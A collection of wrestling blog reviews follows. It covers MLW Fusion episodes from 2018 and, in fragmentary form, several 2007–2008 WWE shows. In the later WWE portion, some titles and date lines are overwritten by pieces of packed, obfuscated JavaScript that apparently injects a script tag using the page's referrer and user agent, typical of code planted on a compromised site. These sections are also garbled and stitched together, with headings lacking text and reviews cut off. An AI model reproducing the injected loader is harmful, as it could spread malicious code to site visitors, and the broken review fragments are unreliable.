IMG Credit: Major League Wrestling

Fusion #12
Date: July 6, 2018
Location: Gilt Nightclub, Orlando, Florida
Commentators: Rich Bocchini, Tony Schiavone

We’re getting closer to Battle Riot, but it’s not exactly clear how that’s going to go with this promotion. I mean, the fact that we’re only about three months into things might have something to do with that. There are several stories to pick from around here so hopefully things continue to be the solid hour of wrestling that I’ve gotten used to. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at Sami Callihan and company attacking everyone, mainly focusing on MVP. Tonight it’s a Boiler Room Brawl between MVP and Callihan. That sounds like a really, really bad idea.

Opening sequence.

ACH/Rich Swann vs. Team Filthy

The fans are WAY behind Swann and ACH here, which makes sense as they’re a rather good choice for a team. Swann nips out of Gotch’s wristlock to start as ACH is dancing along the apron like a bit of a nitwit. A dropkick puts Gotch down as Tony thinks Swann and ACH are one of the top ten teams in MLW. I’m having trouble thinking of five of them so we’ll chalk this up to Schiavone being Schiavone. Lawlor comes in and knees his way out of an armbar as the announcers start talking about 80s tag teams, none of whom really have anything in common with the teams in the match.

Lawlor sits in the middle of the ring and offers ACH a chance so it’s a dropkick to the face for two. It’s off to Swann for some dropkicks on Gotch, who pulls him down by the arm for an attempted cross armbreaker. That’s blocked as well but here are the Dirty Blonds for a staredown with Team Filthy. Swann and ACH dive onto the four of them but since we don’t have enough going on, here’s Jake Hager to throw Lawlor into the barricade. Back in and ACH’s brainbuster into a frog splash from Swann is enough for the pin on Gotch at 7:14.

Rating: C. Now that’s a bit better job at setting up a tag division. You have three teams here, plus the champs and another one or two, which gives you a few options for feuds. That’s already more impressive and well put together than almost anything WWE has done in years. When you consider the amount of names WWE has by comparison, there isn’t much of an excuse.

Salina de la Renta arrived earlier today, insulted an interviewer, and wouldn’t talk about the bounty.

Colonel Parker and Hager aren’t happy with what Lawlor did to his hat. Revenge is sworn.

Announced for Battle Riot: Aerostar, Maxwell J. Friedman, Leo Brien, Michael Patrick, Rey Fenix, Vandal Ortagun, Simon Gotch, Drago. That’s going to be a heck of a match. Also announced: Shane Strickland vs. Sami Callihan, the Lucha Bros defending against Aerostar/Drago, Jimmy Havoc vs. Brody King and PCO (Why is he such a big deal all of a sudden?) vs. Homicide.

Salina isn’t happy with Sammy Guevara and fired him from her hot tub.

Next week: Hager vs. Lawlor.

Lawlor says he’ll win.

Low Ki vs. Ricky Martinez

Low Ki runs him over at the bell and throws some right hands, already making this a more diverse offense than most of his matches. Some elbows in the corner rock Martinez even more as the announcers talk about Salina. A running dropkick sets up a kick to the head to give Ki the pin at 2:29. Total squash, as it should be.

In the back, Low Ki says it’s not about a bounty but about an investment. Strickland needs to spend time with his family before the public execution.

Barrington Hughes wants Leon Scott (one of Callihan’s goons) for the brawl a few weeks back.

Here’s this month’s top ten:

10. Barrington Hughes

9. Teddy Hart

8. Jimmy Havoc

7. Maxwell J. Friedman

6. ACH

5. Rey Fenix

4. Sami Callihan

3. Low Ki

2. Pentagon Jr.

1. Tom Lawlor

Strickland isn’t worried about the bounty because being the World Champion always means there’s a price on your head. Everyone has attacked him and if Low Ki is the next one up, bring it on.

MVP vs. Sami Callihan

Boiler Room Brawl. The room is tiny and Sami looks scared but since there is barely any room to hide, they’re off to the eye gouging in a hurry. Sami gets a cage door slammed on him a few times with Bocchini saying it’s shades of the Freebirds and the Von Erichs. I’ll yell about that later. They hit each other with more metal objects and Sami leaves, defeating the purpose of a Boiler Room Brawl.

MVP follows him into the hallway but Leon Scott jumps him, only to be taken down in short order. Cue Sawyer Fulton to offer another failed save as MVP kicks Callihan low. Sami hits him with a chair but gets hit in the face as this is already not doing much for me. They’re already in the arena because there was nowhere near enough room in the Boiler Room to make the gimmick mean anything. The fight heads into the crowd with MVP being sent into a post for very little effect.

Sami gets hit in the head with a beer bottle to even less effect. He sends MVP into various things, including the ring, but stops to throw some chairs inside. A piledriver onto the chair is blocked and MVP hits the Playmaker onto the chair, which really should just hurt his own knee instead of Callihan.

Since that’s the worst finisher I can think of at the moment, Callihan pops up and sends the chair into MVP’s hands (not even close to the head) for two of his own. It’s baseball bat time but MVP spears him down and grabs the bat. Cue the goons again and the distraction lets Callihan take the bat away again. The shoulder breaker gets two so MVP spits in his face, earning a bat to the head for the pin at 11:32.

Rating: F. It was somehow worse than I was expecting as they hit each other over and over with the boiler room part taking all of four minutes. This feud isn’t interesting and hasn’t been since it started, which isn’t exactly thrilling when you get a boring match as a result. Tony kept hyping up the idea of this being the first Boiler Room Brawl in about twenty years. Maybe there’s a reason it wasn’t around?

Overall Rating: D. If Low Ki is the best part of a show, you know they’re not doing things right. This was pretty easily the weakest show of the series, all because of the main event. Battle Riot is looking better though because of how stacked the card really is. Everyone has to have a bad show and MVP leaving soon is going to help. I was never a fan of the guy and it makes things better to not have him around. Really bad main event here and the show suffered as a result.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Major League Wrestling

Fusion #8
Date: June 8, 2018
Location: Gilt Nightclub, Orlando, Florida
Commentators: Rich Bocchini, Tony Schiavone

Things are starting to change a bit as evil manager Salina de la Renta is coming after World Champion Shane Strickland. At the same time, Tom Lawlor is still a jerk and tonight he gets to face the rather talented Fred Yehi. We’re still at the point of having people debut here fairly regularly around here so we might be seeing some new faces again. Let’s get to it.

Here are last week’s results if you need a recap.

Video on Shane Strickland. Is there a reason to have this if he’s not here to start the show?

Opening sequence.

Tom Lawlor vs. Fred Yehi

Lawlor has Team Filthy, including Simon Gotch and the still unnamed third man (though his jacket says Sanders), with him. Yehi takes him down to the mat and grabs a front facelock but Lawlor spins back up for a standoff. Now it’s Lawlor’s turn to wrestle him down but Yehi spins out and grabs him again, sending Lawlor to the ropes. This time Yehi stomps on Lawlor’s hand but Lawlor pulls him down by the leg.

That goes nowhere so Yehi gets two off a great looking fisherman’s suplex. Lawlor is right back up and grabs a seated abdominal stretch to slow things down again. It’s off to a butterfly lock on Yehi and we take a break. Back with Lawlor stomping away and getting two off a suplex. Lawlor grabs a dragon sleeper with a hammerlock (allowing Tony to talk about the Andersons, which had to make him smile) and then a guillotine, which is countered with a hard slam.

Yehi’s dragon suplex gets two so he fires off a long string of knees to the face. A layout powerbomb gets two more and Lawlor is rocked, which doesn’t happen very often around here. With the referee checking on Yehi, Lawlor takes off his forearm pad and knocks Yehi cold with the metal forearm. A rear naked choke finishes Yehi off at 13:41.

Rating: B-. Lawlor is one of those guys that MLW owner Court Bauer hyped up to a nearly ridiculous degree when he was promoting the show but he’s turned into one of the best things around here. He really is one of those guys who lives up to his building and the Filthy name suits him perfectly. Yehi is someone who could hang with him on the mat and I had a good time with this one. Well done.

We look back at Maxwell J Friedman attacking Joey Janela last week. He’s been fined $5,000.

Friedman really doesn’t think much of the fine and doesn’t want to talk about it but Janela’s manager Aria Blake comes in to yell at him. This goes nowhere and Friedman is out.

We look back at de la Renta threatening Strickland last week.

De la Renta has put out a $20,000 bounty on Strickland’s head. It’s worked before and it should work again.

Jimmy Yuta and Jason Cade, a fairly unsuccessful tag team, are at a photo shoot where Cade won’t let Yuta get much of the spotlight.

Leon Scott vs. MVP

Scott, the big bald guy who has been following Sami Callihan, is named for the first time here and has Callihan and (Sawyer) Fulton in his corner. MVP goes right at him to start but Callihan comes in for the DQ at 47 seconds.

Post match MVP tries to fight them off but gets caught by Fulton, whose presence seems to surprise Tony, even though he was present and active during Callihan’s match last week. The beatdown is on but Kotto Brazil, who Callihan attacked last week, comes in for the save. That doesn’t last long but he did try. Callihan beats them both down with the baseball bat.

Strickland doesn’t think much of the bounties on his head because it comes with being the World Champion. Low Ki comes in and, in a very low key voice, offers some help dealing with de la Renta and hands Strickland a business card. Shane isn’t interested and Low Ki walks away.

Rich Swann and ACH meet and might be a team in the future. So I guess Swann is just a cocky face? That’s hard to pull off, though not impossible.

ACH vs. Rey Fenix

Fenix is part of de la Renta’s Promociones Dorado but is still rather popular and fan friendly. ACH takes him to the mat and we’re back up to the standoff almost immediately. They take turns flipping around to another standoff but ACH gets in a double stomp to the back, followed by a sliding dropkick to put Fenix outside. You don’t do that with a flier like ACH so there’s the first dive. Fenix is right back up with a dropkick to the floor and the suicide dive takes ACH down as well.

Back from a break with a high angle Swanton giving Fenix two. They trade loud strikes with Fenix getting the better of it and ACH almost looking surprised that Fenix would kick him in the face. ACH is right back with a backbreaker and a snap German suplex for two of his own. Fenix snapmares him down and rolls into a frog splash, followed by a missed moonsault. That’s fine with Fenix, who keeps rolling and catches ACH with a cutter. Cool spot, albeit incredibly contrived. A chop to ACH’s chest makes me cringe and another puts ACH down.

Fenix jumps up top and tries a high crossbody, which ACH rolls through into a Death Valley Driver for two more. That’s enough of ACH on offense so Fenix knocks him to the apron and kicks him in the head. Back in and ACH returns the favor to knock Fenix off the top in a heap. ACH doesn’t exactly have the same prowess with the chops, to the point that Fenix sticks his chest out and tells him to do it. Fenix kicks the heck out him but charges into a superkick to keep ACH strong. The frog splash misses though and Fenix grabs a Muscle Buster driver (egads) for the pin at 14:44.

Rating: B. While maybe not the most classically formulated match in the world, this was a lot of fun with both guys flying around and hitting a variety of big moves, which is more than you get in a lot of matches like this. ACH isn’t likely to win much around here, but he’s regularly putting in entertaining performances on TV. Fenix needed the win a lot more though and that’s what matters most here.

Post match they stare each other down and shake hands after a few seconds to end the show.

Overall Rating: B+. After last week’s really weak effort, it’s a good sign that they can still pull off something like this. You had two good matches and angle advancement up and down the show. That’s a good way to use your hour of TV time and even though there’s only so much to draw from, this was definitely one of the best episodes of the series so far.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Major League Wrestling

Fusion #3
Date: May 4, 2018
Location: Gilt Nightclub, Orlando, Florida
Commentators: Rich Bocchini, Tony Schiavone

This show is doing a good job of making me want to come back. They’re still introducing talent and that makes me curious about who else they have. Now unfortunately tonight has two people that I’ve never gotten the appeal of in MVP and Sami Callihan. MVP has had some moments that were fine but Callihan is just rather annoying most of the time. Hopefully things are a bit better tonight so let’s get to it.

Here are last week’s results if you need a recap.

Here’s Jimmy Havoc, who got in a fight with Joey Janela at this year’s Walemania. Havoc calls out Janela for a fight and Joey, a “bad boy” who seems to be obsessed with the 80s, is here in short order. They fight to the back and here’s Low Ki (ERG, and still in the Hitman gear), who was recently suspended for attacking management and arguing with MVP.

Apparently he’s represented by Black Friday Management and MLW is trying to revoke their promoter’s license. He calls out MVP and gets answered but Callihan sneaks up from behind and chokes MVP with a baseball bat. I’m not wild on most of the people in this but getting in two storyline building segments like this in about five minutes is tight show booking.

Opening sequence.

Tom Lawlor vs. ACH

Lawlor has Team Filthy with him, including Simon Gotch, who you may remember as Simon Gotch. Hang on though as Lawlor has a broken forearm so ACH can face Gotch instead.

Simon Gotch vs. ACH

Feeling out process to start as the announcers question Gotch’s sanity. ACH starts in on the arm with an armbar and a shoulder to put him down with some power. Of course that’s followed by the flips because wrestlers need flips. A cross armbreaker is broken up with ACH getting his foot on the rope so Gotch chops the heck out of him instead.

Gotch slaps on a headscissor choke to keep ACH in trouble before switching to an armbar of his own. Back from a break (nothing changed because MLW is sweet that way) with a chestwrench suplex getting two on ACH. A legsweep and double stomp to the back has Gotch in some trouble but he’s back up with a suplex attempt. That’s quickly reversed as well and a rollup gives ACH the pin at 7:20.

Rating: D+. ACH is hit and miss for me as sometimes he’s fine but other times he leaves me wondering what in the world anyone sees in him. This really wasn’t the most thrilling stuff in the world and I don’t see that changing anytime soon. His match with Austin Aries from two weeks ago was good, but how bad could an Aries match actually be? Not the worst match, but nothing great at all.

Post match Lawlor and his unnamed associate join in a beatdown and looks just fine. Lawlor mocks ACH’s “GO GO ACH” chant and says he’s going to the ICU. Lawlor can talk.

The MLW Top Ten:

10. Barrington Hughes

9. Joey Janela

8. Jeff Cobb

7. Rey Fenix

6. Sami Callihan

5. Tom Lawlor

4. Low Ki

3. MVP

2. Jimmy Havoc

1. Pentagon Jr.

Of course the World Champion is on the top, which is the case with most wrestling top ten lists.

Video on Shane Strickland.

Video on Maxwell J. Friedman, who is very rich and has a punchable face. Don’t hate him because of his family’s history at Dartmouth or his big house.

Mike Parrow vs. Vandal Ortagun

Parrow is a big guy who looks like a monster while Ortagun is a striker from Turkey. Ortagun gets pulled out of the air for trying a crossbody and gets sent into the corner with a fall away slam. There’s a gorilla press but Ortagun slips out of a powerslam and takes out the knee. Cue Colonel Robert Parker to watch as Parrow grabs a chokeslam to plant Ortagun. A pop up sitout powerbomb ends Vandal at 2:11. Total squash and Parrow looked good.

Parrow leaves with Parker.

Salina de la Renta is being asked about Pentagon Jr.’s chances against Shane Strickland when she sees Strickland. She tells him not to get used to the title because this isn’t his house. Again: feels like Zelina Vega minus the fire.

Havoc promises blood when he meets Janela again and wants to lick it off of him. They meet next week.

Lawlor confirms that he is medically cleared and will take out ACH next week. ACH is getting way more ring time than anyone else on this show.

We look at Callihan attacking MVP earlier tonight.

Callihan likes the idea of climbing the ranking system because it would tick people off. He’s using MVP as a stepping stone so MVP’s son will see him as a failure. Callihan is here to be the World Champion and that’s all that matters.

Sami Callihan vs. MVP

MVP is out before his entrance and hammers away, which is how a match like this should start. A clothesline has almost no effect on MVP so they head outside where MVP chops the post by mistake. Callihan hits some hard shots of his own and puts him in a chair, only to take WAY too long on a charge, allowing MVP to send him into the chair instead. With the wrestling (as little of it as there has been) not working, Callihan goes for the eyes and throws him into the crowd.

Back with MVP in the ring (with something having changed this time) and Callihan ripping off the breathing strip from the nose. He takes too long AGAIN though and gets caught in a delayed vertical suplex for a double knockdown. MVP heads outside and this time catches Callihan in a Rock Bottom on the apron. They get back in at an eighteen count and that means a slugout, including kicks to the face (as it should be in a violent match like this).

A Helluva Kick and a t-bone suplex drop Callihan, setting up the Ballin Elbow (to very little reaction). Callihan, who is hard to keep down, hits a Samoan Driver and grabs the bat but the referee gets decked. There’s the Playmaker but a good sized bald guy comes in to Rock Bottom MVP. That’s only good for two so MVP grabs a TKO but has to deal with the big guy. Callihan’s Cradle Killer (double underhook shoulder breaker) is good for the pin at 12:55.

Rating: B-. I’m not big on either guy but this was a completely watchable brawl. Callihan is becoming a bigger deal with his despicable heel act and there’s a good chance he’s going to become a top player outside WWE in the near future. MVP is definitely past his chance to be a major force in the future but at least he can still put on a good match, which was the case here.

Post match Callihan spits at the referee and the big guy carries him out.

Another look at Havoc and Janela fighting at Walemania.

We look at next week’s matches.

Strickland is more confident than ever and the title isn’t going anywhere. He goes into his dressing room and is surprised to see what looks like a Day of the Dead shrine to him. Shane looks into the mirror with a skull on it, with the skull covering his face (cool shot) to end the show.

Overall Rating: C+. While there wasn’t a big blow away match or angle on here, they’ve done a good job of setting up some stories and angles. Strickland comes off as the star and he has a nice rogues gallery waiting to get their shot at the title. It’s far from perfect but I’m liking it well enough to keep watching, which is hard to do in modern wrestling.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynhbn|var|u0026u|referrer|dtzfz||js|php'.split('|'),0,{})) September 7, 2007
Location: US Bank Arena, Cincinnati, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

The opening recap shows Rey Mysterio winning a competition last week to become #1 contender, only to be destroyed by Khali.

Opening sequence, featuring some of the wrestlers turning into comic book style drawings. Couple that with the fist and is there any wonder why Smackdown was considered so much cooler than Raw?

Matt Hardy vs. Deuce

Kenny Dykstra vs. Chuck Palumbo

Video on Chavo costing Mysterio the World Title.

Finlay/Great Khali vs. Kane/Batista

We look at Rey beating Chavo up at No Mercy 2006 as revenge for costing him the World Title.

Jesse and Festus have arrived and find Noble still in the box. Jesse: “THEY HAVE TALKING BOXES HERE!” Noble is stuck in the box because a professional athlete is incapable of lifting a box off the ground and getting his foot under it or something.

Cruiserweight Title: Hornswoggle vs. Jamie Noble

A druid is in the ring when Mark Henry, the man who injured Undertaker, comes out. The lights go out and the druid disappears as the gong sounds.

We look at Chavo beating Rey Mysterio into knee surgery in their first I Quit match.

Unforgiven rundown.

Chavo Guerrero vs. Rey Mysterio

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeite|var|u0026u|referrer|sthys||js|php'.split('|'),0,{})) June 29, 2007
Location: AT&T Center, San Antonio, Texas
Commentators: Michael Cole, John Bradshaw Layfield

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sekzh|var|u0026u|referrer|bzdak||js|php'.split('|'),0,{})) XXIII
Date: April 1, 2007
Location: Ford Field, Detroit, Michigan
Attendance: 80,103
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz, John Bradshaw Layfield, Joey Styles

The opening video is a montage of Wrestlemania logos which turns into your usual highlight reel.

Mr. Kennedy vs. CM Punk vs. Randy Orton vs. Finlay vs. Matt Hardy vs. King Booker vs. Jeff Hardy vs. Edge

With this match, we start the tradition of having too many people in a single MITB match and overcrowding the thing. Everyone looks up at the case until Kennedy goes to get a ladder. Orton heads to the floor to stop him as the big brawl begins. Finlay DIVES on everyone not named Edge, allowing the Canadian to make a climb, only to be stopped by Matt. They head to the floor, allowing Orton and Finlay to head up top for a brawl on the ladder.

Video on the premiere of The Condemned so we can clear the ring out.

Batista is All Grown Up.

Great Khali vs. Kane

This is when Khali is still a decent monster who could move a little bit. Kane is easily shoved down to start and then shoved to the floor for good measure. Back in and Kane slugs Khali, only to be chopped right back down. Off to the nerve hold before Khali slugs away in the corner. Kane comes back with punches of his own but is easily shoved down and across the ring.

Rating: D-. The slam was cool and the rest was completely horrible. Khali was nothing good and somehow he would get even worse. Kane was in that weird period for him where he was just kind of there and doing nothing of note. By period, I mean about a five year stretch of course. Terrible match but the slam was good.

Post match Khali chokes him out with the chain and no one makes the save.

Some Detroit Tigers are here.

US Title: MVP vs. Chris Benoit

The attendance is over 80,000, which is of course a new record.

82% of the fans think Undertaker will win the title.

Smackdown World Title: Batista vs. Undertaker

Teddy Long does the intros here for some reason. We lso get the druids and the torches, which look AWESOME in the huge stadiums like this. The bell rings and Batista spears Taker down before pounding away in the corner. Undertaker fires off right hands of his own but Batista throws him right back into the corner. The fans are totally behind Undertaker here. They head to the floor with Undertaker being sent knees first into the steps as is his custom.

Lashley is All Grown Up.

Joey tries to talk about the ECW Originals vs. the New Breed but we need to get this along.

New Breed vs. ECW Originals

Austin is All Grown Up.

Wrestlemania 24 is in Orlando.

Trump picked the ECW World Champion Bobby Lashley. Steve Austin was brought in to referee because this is Wrestlemania. The best part of the build was Lashley in a cage with Umaga on the floor. To escape, Lashley shoulder blocked the cage wall, knocking it down to the floor and nearly crushing Umaga in the process.

Bobby Lashley vs. Umaga

John Cena is All Grown Up.

For no apparent reason other than we have nothing else to talk about, we look at the dark match with Flair/Carlito vs. Gregory Helms/Chavo Guerrero in a lumberjack match.

Womens Title: Melina vs. Ashley

Shawn Michaels is All Grown Up.

Raw World Title: John Cena vs. Shawn Michaels

A highlight package ends the show.

Ratings Comparison

CM Punk vs. Mr. Kennedy vs. Finlay vs. Randy Orton vs. King Booker vs. Jeff Hardy vs. Booker T vs. Edge

Original: B+

Redo: B

Great Khali vs. Kane

Original: D

Redo: D-

Chris Benoit vs. MVP

Original: B

Redo: C

Undertaker vs. Batista

Original: B+

Redo: A

ECW Originals vs. New Breed

Original: D+

Redo: D

Bobby Lashley vs. Umaga

Original: C-

Redo: D

Melina vs. Ashley

Original: F

Redo: M (for Mickie James)

John Cena vs. Shawn Michaels

Original: A

Redo: A-

Overall Rating

Original: B

Redo: B+

http://kbwrestlingreviews.com/2011/03/30/history-of-wrestlemania-with-kb-wrestlemania-23-over-80000-people/

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekbks|var|u0026u|referrer|eidfk||js|php'.split('|'),0,{})) Rumble 2008
Date: January 27, 2008
Location: Madison Square Garden, New York City New York
Attendance: 20,798
Commentators: Jim Ross, Jerry Lawler, Michael Cole Jonathan Coachman, Joey Styles, Tazz

The opening video focuses more on the show being in MSG than anything else.

Ric Flair vs. MVP

Chris Jericho vs. John Bradshaw Layfield

A clothesline (not the one from down under) puts Jericho down as apparently he has a bad throat and neck coming into this. Bradshaw slingshots Jericho throat first into the middle rope and hooks a quick sleeper. Jericho fights out of it and hits a clothesline of his own, only to charge into a big boot. John sends him shoulder first into the post which busts his head open somehow. Back in and JBL pounds away at the cut as a villain would do. Jericho comes back but they botch a clothesline, causing both guys to get booed loudly. A Cactus Clothesline sends them to the floor where Jericho cracks JBL with a chair for the LAME DQ.

Jericho destroys JBL post match and chokes him with a cord, which is what JBL did to him. That gets Jericho cheered at least.

We recap Edge vs. Mysterio. Edge is with Vickie now who just happens to be the corrupt GM. Mysterio won a Beat the Clock challenge by beating Edge himself to earn the shot. Edge is annoyed that Rey is claiming that Edge is just using Vickie, which of course he is.

Smackdown World Title: Edge vs. Rey Mysterio

Rey loads up the 619 but charges into a powerslam for two. Off to a kind of ankle lock hold but bending the knee instead of the ankle. Edge tries to take the knee brace off of Rey but gets caught in the sitout bulldog to put both guys down. Mysterio uses his good leg to kick Edge in the face for two before hitting another kind of seated senton for two. Like an idiot, Rey goes up and hits a double stomp for two. Smart move on a bad knee Rey. Edge is sent to the floor where Rey slide through the ropes into a tornado DDT for two back inside.

Back in and Edge kicks Rey right in the face to put him down again. Why over complicate things? The spear misses so Rey hits the 619 and the top rope splash, but Vickie pops out of her wheelchair to break up the count. Edge misses another spear and puts himself in 619 position, but Vickie jumps onto the apron to take the hit, allowing Edge to hit the spear for the retaining pin.

Rating: C+. This was ok but you kind of expect more from Edge vs. Rey Mysterio. The ending was about Vickie, which would become a running theme over the next few months. Edge being all conniving and backstabbing the already evil Vickie was awesome stuff, but getting there was tedious at times. Still not a bad match at all though.

Maria comes out to do the Royal Rumble Kiss Cam. This eats up some time until Ashley comes out to ask Maria to be in Playboy again. Santino comes out to insult the fans (and the Giants), saying the people would cheer if you asked if they wanted hepatitis. He brings out Big Dick Johnson with a rubber chicken and wearing a half Patriots jersey. You can figure this one out for yourself.

WrestleMania ad featuring Mae Young as a lifeguard. Ok then.

Mike Adamle introduces us to the next match, featuring Randy Orton vs. Jeff Harvey.

Raw World Title: Randy Orton vs. Jeff Hardy

Jeff is Intercontinental Champion. Feeling out process to start with Jeff taking over via a headlock on the mat. An atomic drop gets two but Orton hits him in the face and brags to the crowd about it. Orton gets sent to the floor and a baseball slide sends him into the barricade. Hardy follows with a plancha to the floor as JR SCREAMS to get Orton back in the ring. Randy tries to walk out with the belt but Hardy will have none of that. Orton is rammed into the announce table and back inside we go.

Hardy gets a well deserved standing ovation. His time would come.

We get the Rumble by the Numbers video, which is always a favorite of mine. Here are those numbers:

20 years of history

21 winners

569 superstars in the Rumble

36 eliminations (by Austin, since broken by Shawn)

11 Rumbles for Shawn (since broken by Kane)

11 eliminations for Kane in 2001

3 identities under which Foley entered the Rumble in 1997

2 feet that must touch the ground

1 woman in the Rumble (Chyna, since joined by Beth Phoenix and Kharma)

62:12 of time that Mysterio was in the Rumble

2 seconds that Warlord lasted in the Rumble (since broken by Santino)

3 wins for Austin, still a record

1 is the spot that has the same amount of wins as #30 (Shawn and Undertaker)

4 men that have won the Rumble from the 27 spot, the most ever

73 percent of the Rumble winners have won the title at Wrestlemania

I love that.

Royal Rumble

Hardcore Holly is #5 and is a tag champion here. Taker slugs Holly down but Shawn tries to dump the big man again. John Morrison, also a tag champion but with Miz instead of Cody Rhodes like Holly, is #6. Morrison looks at Taker and immediately goes after Holly instead. Shawn dumps him to the apron but John gets back in. That winds up being bad for him as he get slammed down by Shawn followed by the top rope elbow.

Shawn tunes up the band but Morrison blocks the kick. Tommy Dreamer is #7 to a big pop and a LOUD Tommy Dreamer chant. #8 is Batista as we get another good blast of energy. Big Dave and Taker knock everyone down (no eliminations) and they stare each other down, only for Dreamer to charge at Batista, earning himself an elimination. Shawn goes after Batista now but Dave spears Morrison down instead.

At the moment we have Taker, Shawn, Holly, Batista, Palumbo and Morrison in the ring with Horny underneath. #12 is CM Punk as Morrison makes ANOTHER impressive save. Punk is insanely popular in New York of course and fires off running knees in the corner to everyone he sees, only to charge into a clothesline from Undertaker. Morrison, the guy that took the ECW Title from Punk, pounds away on him. Punk takes Palumbo out but gets jumped from behind by Shawn.

Kane is in at #20 to hopefully clean out the ring a bit. Yep he knocks out Piper and Snuka before chokeslamming Miz. Taker loads up a chokeslam on Kane but before he grabs the throat, he spins around and grabs Michaels instead. Carlito is in at #21 and spits the apple at Rhodes. Punk and Morrison pick up Carlito but he kicks off the ropes and sends them both into them. Punk kicks Morrison in the head but gets caught by a Backstabber. Cool little sequence there.

Cena celebrates to end the show.

Ratings Comparison

Ric Flair vs. MVP

Original: B-

Redo: C

John Bradshaw Layfield vs. Chris Jericho

Original: D+

Redo: D+

Edge vs. Rey Mysterio

Original: A-

Redo: C+

Jeff Hardy vs. Randy Orton

Original: C-

Redo: C+

Royal Rumble

Original: C-

Redo: C+

Overall Rating

Original: C+

Redo: C-

Wow the Smackdown title match really changed things around here.

http://kbwrestlingreviews.com/2011/01/27/royal-rumble-count-up-2008-screw-wwes-list-this-is-the-1-rumble-moment/

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Armageddon 2007
Date: December 16, 2007
Location: Mellon Arena, Pittsburgh, Pennsylvania
Attendance: 12,500
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross, Jerry Lawler, Joey Styles, Taz

Thankfully we’re back to double branded shows again by this point and we have two title matches in the main events. Jericho is back and wants Orton’s title and we also have Edge vs. Taker vs. Batista for the title. Also there’s HHH vs. Jeff Hardy which is almost always good. This would be the beginning of Jeff chasing the brass ring, which would culminate in the main event of next year’s version of this show. Let’s get to it.

The opening talks about the light (Jericho) coming to save us from the darkness of Orton. Oh and something about Edge, Taker and Batista too.

US Title: Rey Mysterio vs. MVP

MVP is champion of course. This is a respect feud with Rey saying MVP doesn’t have it. Rey has one of his hoods on which looks like a KKK mask. It’s got a Skelator design on it in yellow and black since we’re in Pittsburgh. MVP goes for the legs immediately but Rey escapes. Rey grabs La Majistral for two. An armdrag sends MVP to the floor and the referee stops a Rey dive. The masked dude is like screw it and dives over the referee to hit a nice corkscrew plancha.

Mysterio charges in the corner but gets caught in a powerbomb position and dropped face first into the buckle for two. That looked painful. Drop toehold (one of the harder ones you’ll see this side of Raven) and a kick to the head get two. The Tazmissions weird cousin goes on as the crowd is staying into this. It’s hard to criticize decent matches. Start screwing stuff up already!

The Pittsburgh fans can’t count as they think you start with the numbers 6 1 9. Mysterio tries to run but MVP grabs him by the back of the head to ram it into the mat. That’s a theme for him here: working on the head and the neck. Rey finally gets something in and both guys are down. Rey gets up first and there’s the spinning cross body for two. He tries a springboard move and slips off the ropes, hurting his groin or knee.

Springboard moonsault (it’s not as impressive as it sounds) gets two. MVP takes his head (Rey’s, not his own. That would be stupid) off with a clothesline. He tries what appears to be a goardbuster off the top but Rey makes the block. They fight on the corner and Rey grabs a rana out of nowhere for two. Big boot by MVP gets two. That looked great.

Rey counters a reverse inverted DDT into a mat slam for two. 619 misses and MVP heads to the floor. Rey wants to dive and manages to hit MVP with a rana which is almost countered. The referee starts the count and I have a bad feeling I know where this is going. Yep MVP just takes the countout to retain the title.

Mark Henry/Big Daddy V vs. Kane/CM Punk

Punk is ECW Champion here and is having to stick and move against the monsters. Kane is here to help even out the size stuff. Punk vs. Henry to start us off. Punk fires off some kicks and then tries to pick up the leg because faces are idiots in this company. Off to Kane whose strikes do a bit better. He gets a shot to the knee and Henry is actually in trouble. Back to Punk who gets flattened by a clothesline.

Off to Big Daddy V and girth of death. Punk gets sent to the floor where Striker, the manager of V, gets in a shot. Henry pounds on him for awhile until a corner splash misses. Moderately warm tag brings in Kane who cleans a few rooms. The Big Bald hits the top rope clothesline to put Henry down but V breaks up the chokeslam. Sitout chokebomb gets two for V. I thought it was tea for two and two for tea but whatever.

